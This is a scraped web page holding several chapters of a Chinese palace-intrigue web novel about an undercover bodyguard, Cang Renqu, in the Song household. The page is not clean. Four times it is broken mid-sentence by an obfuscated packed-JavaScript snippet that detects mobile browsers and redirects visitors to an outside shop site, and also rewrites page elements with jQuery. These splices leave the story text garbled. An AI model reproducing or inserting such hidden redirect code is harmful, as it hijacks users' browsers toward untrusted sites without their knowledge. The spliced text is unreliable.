萧择天瞧她一副招摇的姿态，不自觉别开视线：“懂不懂什么叫先礼后兵？就算我真打不过你，你这样也很不尊重人。” 苍仁曲忽然灵机一动，将去年在比武场上激怒过他的话重申了一遍：“终于承认自己技不如人了？” 萧择天的反应也如去年一样，霎时红了耳根：“少对我耍嘴皮子！我不可能再上你的当！还有，用词干净一点，好歹你也是个文试状元！” 苍仁曲眼看激怒不了他，颇为不爽：“可是你踩到我脚了！” “斤斤计较…行行行！让你踩回来总行了吧！”萧择天拗不过她，无奈伸出一只脚。 苍仁曲气鼓鼓站在他身前，二话不说，鞋底狠狠碾压在他脚背上。 “呃！”萧择天强吸一口气，对她强颜欢笑，“……脚不折了？” “多谢大人关心，已经痊愈了。”苍仁曲抽开自己的脚，心情好多了。 “不是我弄伤的吗？你谢什么？”萧择天坐到书桌旁整理案牍，口头依旧阴阳怪气，“自己弄伤自己的脚，还栽赃给我。苍仁曲，你安的什么心？” 苍仁曲隔着书案，看着他打开一宗案牍，似笑非笑道：“找我来就为了说这个啊。” 萧择天没有避讳，语气颇不耐烦：“我没工夫陪你闲扯，赶紧老实交代。” 苍仁曲只好摆出一副欲哭无泪的表情：“那日开宴，你当着那么多的人面将我拽走，偏又寻个无人的角落。我可不愿叫人误会你我之间有何不清不楚。” “我那是在保护……！”萧择天话出一半骤然收声。他细细回忆那日自己的言行举止、侍卫异样的眼神，以及满堂宾客的窃窃私语…… 指尖一颤，手中的笔掉落在桌上，激他回神。萧择天耳根又红了，急声嚷道：“你……去把门打开！” “你这人真有趣。不该多想时偏生出些歪念，该机灵时却直愣得像根木头。”苍仁曲嘴上不饶人，却还是乖乖转身开门去了。 萧择天扶额，皱着眉头喃喃自语：“就应该和你再打一架，好过回去被人下毒，痛了我三天身子。” “……”罪魁祸首苍仁曲努力压住嘴角，一时间百感交集。 门已敞开，萧择天见她站在原地不动，语气燥了起来：“怎么不说话了？安慰我两句都不会？” 苍仁曲心下疑惑，他方才有暗示她要安慰人吗？ 她扶着门框，草草安慰一句：“萧司马身强力壮，您没事就好。既然话问完了，我能走了吗？” 萧择天嘴角下压，实在看不爽她这若无其事的态度：“走什么？过来！” 苍仁曲尽量心平气和，又走回到桌前，躬身询问：“还有什么事？” 这次萧择天神情无比认真，沉声道：“我写信跟萧良山确认了事情，并且跟他商量好了，你之后的行动，全部由我专门负责。” 苍仁曲看着那堆叠成山的案牍，出言关心，尽管语气生硬：“大人，您这忙前忙后的，别太过劳碌了……” “可算说了句人话……”萧择天眉头舒展些许，语气轻描淡写，“找个人看着你不就行了。我自有法子在宋曦身边安插眼线。” 苍仁曲不免多了个心眼。为何是宋曦？ 宋曦得到顾岁吟青睐，而顾岁吟与自身有不共戴天之仇，萧择天偏偏在宋曦身边安插人手……难道是为了提防她对顾岁吟下手？ “为什么要安排在宋曦身边？” 萧择天扬起一边眉毛：“你不知道？” 苍仁曲一头雾水：“知道什么？” 萧择天愕然，愤然拿起一册案牍使劲戳了戳她：“你入府都半个月了，怎连宋曦都没调查明白？” “快说啊。”苍仁曲抓住那册案牍，不依不饶。 “在你之前，宋曦所聘保镖皆为男子，尤其喜欢容貌姣好的习武之人，常充作男宠。太子驾临秀止，府尹特请萧武署给她换了个女保镖，至少在宴席上，不至令太子瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103029|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出端倪。”萧择天说完一席话，轻而易举抽出那册案牍。 “……” 这会儿轮到苍仁曲愕然，许是宋德下了命令，府里侍从对宋曦的癖好闭口不言，难怪初见宋曦之时，萧教头对她的调侃神色尴尬，想必他对此早有耳闻。 萧择天接着问道：“对了，宋府的私产有眉目了吗？” 苍仁曲吞吞吐吐，眼看萧择天黑了脸，忙先沏了杯茶递上前：“你先别操之过急。你看我刚进宋府，又是下毒，又是刺客，我脚还折了，诸多变故之下，哪里顾得了调查宋府的私产......” 萧择天彻底无语，再多斥责也是无用，索性直言道：“宋曦不学无术，心思全花在玩乐之上。府尹应当不会让她插手账务一事，你留在她身边，只怕也查不出什么结果” “那该怎么办？” 茶水晃动着苍仁曲的倒影，萧择天攥着茶杯，并未饮下：“其弟宋谨去年文试也是第十，估计在这方面有所涉及，你不妨先从他入手。至于如何接近，得看你自己本事了。文武状元，你可别再让我失望了。” 有了线索，苍仁曲心中暗喜。这不巧了吗？宋谨正好有意拉拢她。 “多谢萧司马指点。” 萧择天将茶水一饮而尽。 就在这时，门外传来侍卫的通报声：“大人。宋家小姐来寻人了。” “我知道了。”萧择天搁下茶杯，起身准备迎接宋曦。 他走到苍仁曲身旁，俯身凑近她的耳畔：“再提醒你一句，一定听我的话，否则，我就派人将你抓回萧武署，你永远都别想出来……喂，你哭什么？” 苍仁曲蓄足眼泪，待宋曦一进门，顿时泪流满面。萧择天不敢怠慢，对宋曦行了个礼。 “萧司马又在欺负我家保镖？哟，阿曲，怎么哭红了眼睛？”宋曦语带调侃，笑眼看待苍仁曲哭红的眼睛，俨然只把她的眼泪当作一乐。 见苍仁曲又故作姿态，萧择天只好配合：“小姐这话说得不对了，分明是她走路不长眼，存心绊我一脚，这么有脾气，我得好好教训一下。” 苍仁曲低声抽泣：“对不起，我真不是故意的……” 这般拙劣的心思自然引起宋曦不满，她当即批评苍仁曲：“阿曲，你活干得不多，祸倒是没少惹。上次你求我替你讨个公道，这回还得让我亲自寻你，若不是怕你再冲撞了萧司马，我才懒得管这档子事。” 萧择天摆出一副和事姿态，温言劝和：“小姐不必同一个侍从置气，你亲自到我这来寻人，能有这么重情的主子，那是她的福分。这样好了，不如由我派人护送小姐回府，也算是在下擅自留人的一点赔罪。” 宋曦神情缓和，坦然应允：“行，那就有劳萧司马安排。” 萧择天叫来两个军卫护送宋曦一行人回府，其中一人相貌周正，引起了宋曦的注意。 苍仁曲与两名军卫皆策马而行，护在宋曦马车周围，一路开道而行，排场较来时更显声势。 苍仁曲与那名俊朗军卫一左一右随行马车，二人皆容貌出众，各有千秋，并辔而行，引起不少路人侧目围观， 宋曦亦不时掀起帘角，目光落向那位军卫身上，大方欣赏，又细细打量。 马车行至宋府门前，宋曦唤住那名颇有姿色的军卫：“你叫什么名字？” 那名军卫执礼，恭声回应：“卑职石举兰。” 宋曦微微颔首，眼意含笑：“有劳了，替我谢过萧司马。” “是，小姐。”石举兰抱以微笑，却让宋曦楞睁了眼。 随即，他驾马扬长而去，身影渐远。 11. 秋院 秋高气爽，广阔的柳巷内，车轮滚滚，宋府马车徐徐前行。 宋谨掀开车帘。秋风吹拂柳条，呼呼作响，也撩起他额前的发丝。 马车途径几棵半秃的柳树，树上大半柳条被粗暴砍断，挂着几枝残肢在风中摇摇欲坠。秋风一吹，又倒下一根。 又是她留下的痕迹。 后厨的火烟，残破的腹罗草，成精的柳树……宋谨默默放下帘子，慨叹自己再次错过一场好戏。 她自以为能做到滴水不漏，殊不知，在她未曾察觉之时，他知道她的秘密，他在帮她保守秘密。 他欣喜，就好像二人的关系，在她浑然不知时，他不动声色拉近了一寸。 不够，远远不够。 苍仁曲，我想知道你所有的秘密。 …… 马车停稳，宋谨刚入府门，宋德的侍从便迎身上前：“公子，您回来了。老爷在书房等您。” “好。”宋谨简单应了一声，手里揣着从东市书集淘来的几本好书，正好顺道去书房。 宋德虽解了他的禁足，态度却依旧冷淡。他心知，宋德不会无故跟他和好，此刻寻他，定然是又遇到了棘手之事。 “尹叔，你可知父亲找我何事？”宋谨望向身边的侍从。 尹叔伺候宋德身边多年，也是看着少爷小姐长大的老人，心眼儿跟明镜似的，他一向认可宋谨的才干，曾几度向他借书供自己孩子学习，对他自有几分回护。 他压低声音：“应与太子殿下有关，老爷神色平和，估计不是什么要紧事。” “哦，那看来他不生我气了。”宋谨语气淡淡。 “嗨哟，谨公子，老爷怎可能真的怪罪于您？他肯将太子的重任托付于您，代表他一直很重视你。您只要性子别太轴，将来宋家还不得靠您撑起来？” 尹叔滔滔不绝唠叨了一路，宋谨始终未置一词。 尹叔了解公子脾性，公子思索之时从来都不说话，便说明自己的话，至少他听进去了一些。 书院秋景如画。 枫影染红了水面，枫叶飘零，曲水汀步落满朱印，跨越一弯曲桥，便到了枫影水榭。宋德独立其间，正欣赏着秋色。 “谨儿，你来啦。”宋德朝尹叔招了招手，尹叔即刻退出水榭。 “父亲找我何事？”宋谨将书置于案头，不经意一瞥，桌案上摊着他上次宴席时呈给太子过目的账本。 一片枫叶空游水面，漾开圈圈水纹，揉碎了宋德在水中的倒影。 “不是什么要紧事。想必你早已知晓，宴席下毒之人是陆奇。虽然那晚他从旅贲军手里逃脱，不过第二天，就被人扔在了都督府门口。” 宋谨走到父亲身边，水面倒影二人并肩的身影。 “他有交代什么吗？” 宋德微微摇头，叹了口气：“广厦楼已对他剜目断舌，想必是为绝后患。既然种种线索皆指向他们，殿下也只能了结此案。” 宋谨凝望一潭清水，反思道：“此事是我疏忽，阿奇是我带入府中的，未料他竟是广厦楼的人。日后我必当对身边之人逐一细查。” 宋德语重心长地加以教导：“是了，你性子缜密，不该有此疏忽。那日陆奇竟出现在曦儿院子，她不会武功，万幸她机警拆穿了陆奇身份，否则后果不堪设想。她此次没有计较你诬陷之责，你以后更当护她周全，保她平安。” 宋谨与水中倒影对视良久，倒影勾起一抹笑容：“......是。” 宋德说久了，回身落座，端起温度恰好的茶饮了一口。目光扫过案头账本：“账目太子已经过目完毕，你做得很好。那日宴席，你也听到了，王上欲裁减边防军费，充入国库。此事关系重大，你可有想法，将这部分资产……妥善安置于他处？” 宋谨驻足在他面前，从容分析道：“此事我已思虑多时。这笔资产数额之巨，堪比边、容二州五年税入。如今万邦技术停滞数十载，而交州乃创新最盛之地，任何发明创新，皆需巨额投入。若将这笔资产用于鼓励发明、推动技艺革新，长远之利，不可估量。” 宋德一点就通，毕竟他在交州任职多年，深知宋谨言中之意。技艺革新并非一朝一夕的功夫，周期一长，其中可操作余地自然就大，油水自然少不了。 “不愧是我儿，此计甚妙，回头我便呈报太子。谨儿，你有如此才干，为父定当重用你。说吧，可有什么想要的？”他朗朗笑道。 宋谨不为所动，反而神情严肃，字字珠玑：“父亲，我别无所求，且还是那句话，钱财取自于民，应回馈于民。创新利民千秋，若中饱私囊，故贪得一时私欲，终将损人害己，遗祸无穷。” 宋德笑容微僵，淡定呷了口茶：“……谨儿，你觉得这院子美不美？” 碧水蓝天，秋风阵阵，光影游动，雕栏玉砌，枫红成片，皆框于月洞之中，如诗如画。 宋谨承认道：“当然美。” 宋德目光转向外面的景色：“此地曾是文武八星汇聚的风水宝地，花重金都求不得；这座水榭的一砖一瓦，请用了万邦身价最高的工匠打造；外头那三棵枫树，乃是容州传闻中四季长红的宝树，一株千两，单是每日的护养费用就抵得上一个侍从半年的薪俸。” 他举起手中的茶杯，漫不经心端详着：“这盏茶杯，来自崇州纸蝉玉，十年方得一窑，杯中茶水，取自鲲寿藤百年甘露，向来只供王公贵族。” 宋谨不语，只听宋德循循善诱：“我若不做这些，何来宋家今日光景？你既有此显赫出身，能见到如此美景，安享如此生活，不思量如何守成发扬，反倒终日质疑根本？落在旁人眼中，定要笑你不知好歹。” 最后，他冷漠地将茶水泼在地上。 宋谨面无表情，依旧沉默不言。 父子二人僵持之际，尹叔走了进来，恭声道：“老爷，小姐来了，正在门外等候。” 听得女儿来了，宋德眉目即刻舒展，抬手示意道：“让曦儿进来。” 宋曦满面春光，迈着愉悦的脚步走了进来：“父亲！听说您在这里，我就来了。诶？阿谨也在，真是巧了。” “嗯。”宋谨应了一声，退却两步，给她让了条道。 “找我做什么？”宋德将茶盏置于桌上，语气温柔。 宋曦大方落座，又审时度势为父亲沏了新茶，向他撒娇道：“父亲。女儿前几日我在都督府看上一个军卫，想将他招进府里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103030|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做我的贴身侍卫。” 宋德舍不得说重话，只能面露无奈：“太子开始对你另眼相看，你倒还想着玩闹？再说了，我特意为你请了萧武署的高手，连萧司马都认可她的身手，难道还不够护你周全？” 宋曦撅了撅嘴，声音愈发软糯：“多一个人多一分安全嘛。您就放心吧！在太子面前我一定规矩行事。” 宋德面不改色，将茶盏递到嘴边：“我考虑考虑。” 此言一出，十有八九就是成了。 宋曦欢声雀跃：“谢谢父亲！” 宋德瞟了一眼矗立在旁的宋谨，对宋曦道：“你院里的人都快挤不下了，管起来费心费力，反观谨儿这边冷冷清清，你何时挑几个稳妥的拨去他那儿，省得你操心太过，他身边也有人照应。” 宋谨躬身谢道：“多谢父亲好意，孩儿平日简淡已成习惯，身边不需多人伺候，一两个足矣。” 宋曦眼尾轻挑，口头依然保持和气：“阿谨，别这么客气。你院里缺的就是对主子忠心耿耿的手下，而我从不担心这些。正好你少了个人，不如我让阿曲伺候你好了，瞧着你对她挺感兴趣。” 宋谨略显诧异：“她身手出众，阿姊竟如此爽快让予我？” 宋曦嫣然一笑，语气理所当然：“我这不是新得了个都督府的侍卫嘛？若两个高手都随我，终将有一个难以尽展其才。正因阿曲身手好，一人可抵数人，有她随你左右，绰绰有余了。” 宋德静听姐弟俩的对话，直至喝完整盏茶，他对宋谨吩咐道：“行吧。既然是萧武署出来的，总不会出了岔子。谨儿，就让阿曲伺候你吧。” 宋谨：“好。” 宋曦见他神色淡淡，忍不住调侃道“阿谨，你平日从不近女色，院里跟和尚庙一样无聊，不知情的还以为你有什么癖好，这会儿放个姑娘进去，你多了解了解姑娘家，整个人总不会无趣了。” 宋谨：“……” 今日宋曦没有出府，苍仁曲陪同后厨的成姨去果园摘了一天石榴。回来的时候，她特意给小诗带了俩又大又甜的石榴。 小诗回屋，一眼看见自己桌边放着两个石榴，神色复杂。 “阿曲。”她唤了一声。 苍仁曲面色开朗：“今日我陪成姨摘了石榴，给你捎了俩，快尝尝看，可甜了！” “小姐这边准备招个新侍卫。特让我传话让你收拾一下行李，择日去谨公子的院里伺候。”小诗一字一句像冰凉的水，泼灭了苍仁曲的热情。 苍仁曲愣住，马上一副难为情的表情：“啊……怎会如此……” 小诗加以询问：“你最近惹到小姐不高兴了？” 苍仁曲认真反省一通，语气变得柔弱可怜：“可能……可能因为前些天陪小姐去了一趟都督府，我……不小心冲撞到了司马，被她训斥一顿。” “这样啊……”小诗将一个石榴分到她手里，拍了拍她的肩膀，轻声宽慰，“别太往心里去。小姐还说了，如果以后你勤回来走动，会有机会回到她身边的。” 言外之意，是让她成为下一个陆奇吗？ 苍仁曲顿时一笑，眼中放光，语气颇为感激：“放心好了，我不会忘记小姐对我的好！” 12. 夜雨 新侍卫到来当天，苍仁曲收拾好了行李，准备离开院子。 临走前她瞧了一眼，那名新侍卫便是护送宋曦回来的都督府军卫石举兰。 都督府不比萧武署这样的私人势力，它是国家编制内的机构，人员调动需层层审批，少说也得半个月，而石举兰与宋曦初见不过一周，竟成了宋府侍卫，可见宋德关系够硬。 … 南池水静，倒映着苍仁曲与管家穿行的身影。二人步过一条曲水长廊，抵达宋谨的别院。 宋谨院子规格与宋曦相当，内里大相径庭。不似宋曦处堆满名家珍宝，此处所见，几乎皆是宋谨亲手制成的手工巧作。石雕的草木，玉雕的花，榕树下的秋千，栩栩如生的鸟兽虫豸，以及他亲自设计建起的一座匠作坊。 听管家介绍，此处侍从寥寥，缘由是宋谨本人既精于实践又通晓学识。留下的侍从，动手时思维不及他敏捷，论学术时更远逊于他，能不添乱已经不错了。 作为唯一的女侍从，管事便安排苍仁曲独居一室。她的住处紧挨着匠作坊，对窗便是宋谨的居所。 苍仁曲行李不多，房间很快收拾妥当，清扫时，她发现一只木鸟在窗边扑棱着翅膀，身体东倒西歪。她拾起来细看，找到了问题所在——鸟爪关节错位，使它无法立足。凭着学过的三年工程知识，她三两下便修好了这只木鸟。 这时，匠作坊门前，两人激烈的争论声传进苍仁曲屋里。 “这东西又大又重，我怎么可能搬得动啊！” “公子说这套蓄水装置的核心就四个齿轮，将它们依次取下，拆成几个部件，重量就轻了，搬出去后再重新组装即可。” 苍仁曲从窗户探出头，二人正背对着她。他们面前，一尊一人高的四方铜鼎赫然矗立，鼎身机关繁复，每面的正中心各嵌着一个齿轮。 一名侍从小心翼翼绕开机关，找到了齿轮位置，忍不住脱口抱怨：“齿轮藏这么深，万一弄坏了咋整……你得来帮我！” 另一名侍从扬了扬手里的伞：“公子还等着我送伞呢！你自己快想办法把它挪到场院中央去，眼看就要下雨了，公子正等着这装置的试验结果！” 苍仁曲内心一动，将飞出掌心的木鸟又抓了回来，故意松了翼角的齿轮，朝那二人扔了过去。 折了翅膀的木鸟跌跌撞撞环绕方鼎上方，闯入两名侍从的视野。 “哪来的鸟？？？”侍从惊呼，抬手一顿乱挥，奈何鸟飞太高，他根本够不着。 另一侍从见状，也举着伞扑赶，伞身不慎打中翼角的齿轮，齿轮脱落，一边翅膀断成两截，木鸟垂直栽进方鼎之中。 “？！”侍从顿时傻了眼，甚至忘记收回了伞。 侍从默默捡起地上的羽翼碎片：“你完了，这会儿别想着给公子送伞了，帮我搬东西，我就不向公子告发你。” 拿伞侍从把脸一横，耍赖道：“谁看见了？除了你，还有谁？有本事你现在就找出个证人来！” 话音一落，他作势要跑，一回头差点撞上不知站了多久的苍仁曲，吓得他警觉地后退两步：“你是谁？！来这里干什么！” 苍仁曲被他气势吓了一跳：“我…我叫阿曲，是谨公子招来的新侍从，” 在旁的侍从幸灾乐祸起来：“人证？眼前就是！她一来就亲眼看到你打坏了木鸟！” “打扰了。”苍仁曲当即转身要走。 拿伞侍从立即叫住她：“你去哪！” 苍仁曲平静回应道：“我一新人，按府里规矩，需得见一趟谨公子。” 侍从扔下手里工具，玩味一笑：“行呗！那就一块去！这人交代不清不楚，我需亲自向公子请教请教。” “少来这套！我还不知道你？你那点心思我还不知道？公子的吩咐你理解不清，到头来定要在公子面前歪曲事实，休想拉我垫背！”侍从将他拽了回来，气得实在没办法，决定留下来帮他，随即把伞递给了苍仁曲，“你，去把伞拿给公子。就跟公子说……我拉肚子了！别的多一句都别提。” “是。”苍仁曲微微颔首，利落接过了伞。 天色阴郁。 书院内，只有宋谨一人，正在收拾地面的书本。 “谨公子。” 听见女子声音，宋谨身形一顿，转过头来，见是苍仁曲。 “是你。管家应该交代过，你可以先安顿下来，不必急着来见我。” 苍仁曲对他院里环境早已了熟于心，趁小诗熟睡的夜里，她几次潜入搜查私产线索，始终一无所获。 “快下雨了，我给您带了伞。” 宋谨反问：“原来的人呢？” 苍仁曲回答道：“他……肚子不舒服，在匠作坊交代完事情后，便将伞交予我了。” 宋谨淡淡应了声，没有过多追究下去：“嗯，伞先放书房里，过来帮我抬书。” “是。” 苍仁曲放完伞回来，宋谨怀里已有几本书。她见状，便俯身将地上余下的十余本一并抱起。书摞起来高出一头，遮住了她前方的视野。 “？”宋谨走到她旁边，腾出手按住最上方的书：“当心脚下路，不用一口气端走。” “没事的公子，摔不着。”苍仁曲说到做到，一路稳稳当当将书抬进了书房。 自从初次潜入书房差点被宋谨抓个正着，她便再没偷摸来过这里，且不说这满地的书本陷阱，单是上次带走的那本书，封皮鞋印至今未能清除。 幸亏书房藏书众多，少了一本，宋谨应该察觉不到。 眼下既已确定别处无线索，看来只能从宋谨平日里最常待的书房入手了。 宋谨数着书桌上的书本，确认数目无误，随意提了一句：“很好，这次一本不差。上次收拾的时候有本书不见了，许是野猫叼走了。” 苍仁曲：“……” 宋谨望了她一眼：“阿曲，既然阿奇不在了，你去把书找回来了吧。” 苍仁曲追问道：“公子，那本书很重要吗？” “虽不是什么重要的书，但野猫这次偷了书，下次说不定会偷了别的。”宋谨将几本书递给她，语气平和，“若实在寻不回，就将府里的猫全部清理干净，一只不留，永绝后患。” 苍仁曲指尖单单抠着书脊，神色凝重：“......我会尽量找到公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103031|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的书。” “嗯，随我把书放到书架上。” 苍仁曲照着他的要求，将书籍归类到书架上。架上陈列着经典典籍，亦不乏市井流行的志怪、传奇之类，足见宋谨阅读兴趣十分广泛。 府中人言，宋德建府之初，仅将书院作为品茗赏景之地。宋谨是府中最勤学之人，自他到来，房中堆满了书，放不下了，逐渐挪到书院里去，后来他常驻在此学习，久而久之，这里总算有了书院的样子 按理来说，宋谨应自幼长于宋府，可从众人的口吻里，皆强调他“进了宋府”……这点着实耐人寻味。 明明只有三口人的宋家，在苍仁曲看来，像扑进了一张悬疑的网，越是往里深究，这张网反而越来越密。 宋谨放完几本书，经过苍仁曲，绕到她的另一边：“阿曲，你可知那都督府的军卫是什么来头？我本打算向阿姐要人，谁成想她竟主动将你换了过来。” 苍仁曲揣摩不透他言中之意，据实相告：“我只知道他是奉萧司马之命护送小姐回来的。此人姿容出众，小姐……似乎对他颇为青睐。” “这个军卫既是萧司马的人，你可认识？”宋谨不紧不慢地问着，回桌拿了几本书。 “不认识。”苍仁曲意识到什么，转头看向他，“公子，我与萧司马初见于宴席之上，此前也从未见过。” 宋谨见苍仁曲手里空空，又将几本书塞入她手中：“我这也是关心阿姐。阿姐心思单纯，身边最易被人安插眼线，那晚潜入她院中的刺客便是明证。父亲嘱咐我要保护好她，难免要多留个心眼。” 苍仁曲浅浅一笑，稍稍拉开几步距离：“姐弟情深，实在令我羡慕。” 滴滴哒哒，雨打屋檐，阴云淹没了余昏，书房瞬时昏暗几分。 苍仁曲加点了烛火，暖光照亮书房，熠熠生辉。 “公子，外面下雨了，放完了书便早些回去吧。” “现在回去为时过早，等雨停吧。” 宋谨回房一向很晚，苍仁曲不好多说什么。 “……是。” 放完手里最后一本书，她将目光放在面前的一排书架。 架上陈列着一排《边州奇谈》，此书由边州都护府一位闲职参谋所著，将边州的真人真事改编成志怪故事，夸张痕迹明显，却在边州以外的地方大受欢迎。 宋谨一言不发盯着她好一会儿，忽然问道：“你对这些书感兴趣？” 苍仁曲从容说道：“是啊，这是我少时追看的课外读物，没想到已经完结了，里面的故事精彩绝伦，可惜边州隔着一道巉岩天障，偏远至极，我一直未曾去过。” 宋谨神色微妙，来到她身边，取下第三册《边州奇谈》，漫不经心翻动几页：“你看过？可还记得多少？” 苍仁曲起了兴致：“后面几册虽未读完，前面情节我还记得。比如公子手中这册，讲的是边州有一种无形烟怪，平日喜伪装成一颗野草，诱使百姓用它生火，而其吐出的烟气则会败坏食物。这烟怪的原型，便是府里随处可见的腹罗草，听闻公子平日对腹罗草呵护有加。” 宋谨神情一滞，指尖停顿在纸页上。 13. 身份 “你没去过边州，竟认得这边州的奇草。”宋谨意味深长盯着她，缓缓合上书本。 苍仁曲从容直面他的审视：“公子别多心，我只是对书感兴趣，深入了解一些，知道个名字罢了。小说终究是虚构，腹罗草害人之说，还未可知。” “这腹罗草……”宋谨笑意微冷，索性向她摊牌，“它确实有害，阿曲，你知晓了我的一个秘密。” 苍仁曲眸光一颤，未料到他竟如此坦率。 “……公子，我会保密的。” 宋谨将那册《边州奇谈》物归原处，目光再度锁住苍仁曲：“那么，公平起见，我也说一个关于你的秘密。” 苍仁曲神色坦然：“公子，这你可说笑了，早在入府前我接受了背调，能有什么秘密？” 宋谨靠着书架，随意架起了手：“宋府向来只收案底清白之人，可是阿曲，你曾是死囚，父亲竟然还破例招用了你。” “？！”苍仁曲呼吸一滞，被他的一席话逼靠在书架上。 宋谨只手按住她的脖子，手心掌握着她跳动的脉搏：“告诉我，你当时犯的是什么罪？” “我……”苍仁曲喉间一紧，从牙缝里挤出声音，“我曾举报许州刺史贪墨，被冠以诬告之罪打入死牢。” 记忆霎时紊乱，宋谨的身影在她眼中扭曲，变成了萧良山，他的话一遍又一遍萦绕在她的耳畔：“仁曲，你如今的身份，是用一条命换来的。王上下令赦免她的死刑，不过这人没挨住，已经死牢里了。” “你怎么出来的？”宋谨的声音将她拉回现实，而他的话又将她推向过去。 苍仁曲鼻头一酸：“我的父母提供了容州刺史贪墨国库的证据，将我救了出来，后来他们被许党灭了口。” 记忆再度闪回萧良山的话——“萧武署已将她家料理干净。此后，你便是姜安曲，这个身份你可以放心用了。” 苍仁曲瞠目微笑着，眼泪淌了下来。 她不知应该用什么样的表情表达此刻心中的恨。 她恨这个姜安曲，恨她们一家人，恨自己软弱，软弱到只能用仇人的身份活下去，苟活于世，逼着她承认自己父亲莫须有的罪行。 诬告之人以诬告之功走出大牢，受诬之人成了累累白骨。 一字一句从她嘴里吐出，唇枪舌剑对准自己的父亲，也攻击着自己，鲜血淋漓。 或许，真正的苍仁曲早已死在牢狱之中，走出大牢的苍仁曲，活成了如今人不人、鬼不鬼的模样。 泪珠滚落的那刻，宋谨瞳孔抽动一下，钳制的手不自觉地松开。他看着她冷静又随意抹干了眼泪，不由自主地移开了视线。 “……我会保密的。” “谢谢公子。” “你的家人行大义赴死，许是父亲心慈，招你入府以作体谅，既然来了，有机会我带你见识见识你父母的大义之举。” 苍仁曲心有预感：“什么意思？” 宋谨对她卖了个关子：“以后你会接触到的。” 苍仁曲不置可否，虽不知宋谨在打什么算盘，但眼下唯有顺势而为，才是深入此局唯一出路。 一室寂静，窗外的雨停了，听得见一两声残滴砸落在地。 “公子，雨停了。”苍仁曲提醒道。 “这么快……”宋谨望着桌上的书册思虑抉择，“那便回去吧，我得看看那套装置的成果。” 秋雨过境，满院清寒。 屋门一开，苍仁曲瞬时激起一身鸡皮疙瘩，好在身子骨硬朗，衣衫单薄也无大碍。瞥见宋谨亦是如此，她料想这等寒气，于习武之人确实不足挂齿。 此刻她满心所想，全是院中那尊令人好奇的方鼎。 走了几步，苍仁曲按捺不住心中好奇：“公子，院里摆放的那个装置是什么？” 宋谨语气听起来与秋风一样冷：“一个蓄水用的装置，叫璇源鼎，” 璇源鼎，苍仁曲略有耳闻，是赤武帝在位时期创造的一种蓄水装置。 赤武帝好征战，征战需要大量粮草，璇源鼎的创造破了地域与节气的限制，保证了各地每年粮收稳定。 一个能灌溉万顷的发明，与苍仁曲想象中截然不同，她不禁问道：“这鼎不过一人高，能蓄得了多少水？” “只是我从别处拿到了机关图纸，造的一个模型而已，实际上的璇源鼎比这个大数百倍。” “这样啊。” 回到别院。 侍从见宋谨回来了，上前呈递了一份笔记：“公子，公子，您吩咐监测的蓄水数据均已记录完毕，相应结果也都计算出来了。” 宋谨接过笔记，大致浏览了一遍：“嗯，辛苦了，今晚早点休息，明天继续。” “是。” 宋谨将笔记带回房中，将数据重新验算，又增算了多项记录。原本几个人的算量，他一个人不知不觉忙到了很晚，才完成了一半。 歇息时，他见苍仁曲房间仍未熄灯，便吩咐值夜侍从告诉她，明早练武，在他身边随侍。 … 因昨夜受了凉风，宋谨今晨穿厚实了些，到了广场，正见苍仁曲为他擦拭剑身。 宋谨眉头微蹙：“你没钱添置新衣吗？” “公子何出此言？”苍仁曲不解。 宋谨直言：“天转凉了，你怎还穿这么少？” “我不冷，谢公子关心。” 苍仁曲前些日子在医馆赊了沉香木的账，欠下的二两银子尚未还清，从宋曦那的赏头没要到多少，便被调来宋谨这里。 赏钱无多，只能节俭度日。 宋谨从她手中取了剑，剑柄竟是温凉的。 宋谨：“……” 宋谨自顾自练起了剑式，苍仁曲寻了个收势的间隙问道：“公子，近日怎不见您的师父前来？” 宋谨带着点笑意调侃道：“自你刚进来那会儿，三招两式就把于叔撂倒，他老脸挂不住，自请去马场驯马了。” 苍仁曲心中一阵无语：什么老脸挂不住，分明是找个由头去清闲地方摸鱼去了。 “那公子平日的功夫……？” “师父该教基本都教了，只差实战磨练。”宋谨话锋一转，剑锋也一同指向苍仁曲，“阿奇不会武。阿曲，招你过来，正好当个活靶，让我练练。” 苍仁曲听出他话头里的挑衅，自是当仁不让：“行啊，麻烦公子小心，可别伤着了我。” 刀剑无眼，苍仁曲本想佯装惶恐，奈何宋谨的身手未免让她太过失望，这便是武试第十的实力……？ 慢，太慢了。 所有破绽在她眼里一览无余。 既是活靶子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 